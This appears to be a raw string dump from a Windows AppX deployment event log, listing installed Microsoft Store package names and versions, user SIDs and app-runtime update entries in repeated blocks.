MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational UserSid IsSpecialUserProfile S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational UserSid ProfilePath ProfileType S-1-5-21-3914889805-4071901059-918772286-1000 C:\Users\defaultuser0 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational UserSid OutdatedPackages UpToDatePackages S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational NULL Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1001 None None Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational NULL NULL __8wekyb3d8bbwe NULL 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist_2025.331.2057.0_neutral_~_8wekyb3d8bbwe MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy MicrosoftWindows.CrossDevice_1.25062.28.0_neutral_~_cw5n1h2txyewy MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe NULL 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational S-1-5-21-3914889805-4071901059-918772286-1000 Microsoft-Windows-AppXDeployment Microsoft-Windows-AppXDeployment/Operational Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Clipchamp.Clipchamp_4.3.10120.0_neutral_~_yxz26nhyzhsrt Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_neutral_~_8wekyb3d8bbwe Microsoft.AV1VideoExtension_2.0.6.0_neutral_~_8wekyb3d8bbwe Microsoft.AVCEncoderVideoExtension_1.1.21.0_neutral_~_8wekyb3d8bbwe Microsoft.BingNews_4.1.24002.0_neutral_~_8wekyb3d8bbwe Microsoft.BingSearch_2022.1.43.0_neutral_~_8wekyb3d8bbwe Microsoft.BingWeather_4.54.63017.0_neutral_~_8wekyb3d8bbwe Microsoft.DesktopAppInstaller_2025.926.104.0_neutral_~_8wekyb3d8bbwe Microsoft.GamingApp_2025.523.601.0_neutral_~_8wekyb3d8bbwe Microsoft.GetHelp_10.2407.22193.0_neutral_~_8wekyb3d8bbwe Microsoft.HEIFImageExtension_1.2.28.0_neutral_~_8wekyb3d8bbwe Microsoft.HEVCVideoExtension_2.4.39.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftEdge.Stable_145.0.3800.65_neutral__8wekyb3d8bbwe Microsoft.MicrosoftOfficeHub_19.2506.56051.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftSolitaireCollection_4.22.3190.0_neutral_~_8wekyb3d8bbwe Microsoft.MicrosoftStickyNotes_6.1.5.0_neutral_~_8wekyb3d8bbwe Microsoft.MPEG2VideoExtension_1.2.13.0_neutral_~_8wekyb3d8bbwe Microsoft.OutlookForWindows_1.0.0.0_neutral__8wekyb3d8bbwe Microsoft.Paint_11.2412.295.0_neutral_~_8wekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxGamingOverlay_7.325.7221.0_neutral_~_8wekyb3d8bbwe Microsoft.XboxIdentityProvider_12.130.2510.6003_neutral_~_8wekyb3d8bbwe Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_neutral_~_8wekyb3d8bbwe Microsoft.YourPhone_1.25062.84.0_neutral_~_8wekyb3d8bbwe Microsoft.ZuneMusic_11.2509.7.0_neutral_~_8wekyb3d8bbwe MicrosoftCorporationII.QuickAssist 2CC80D~2 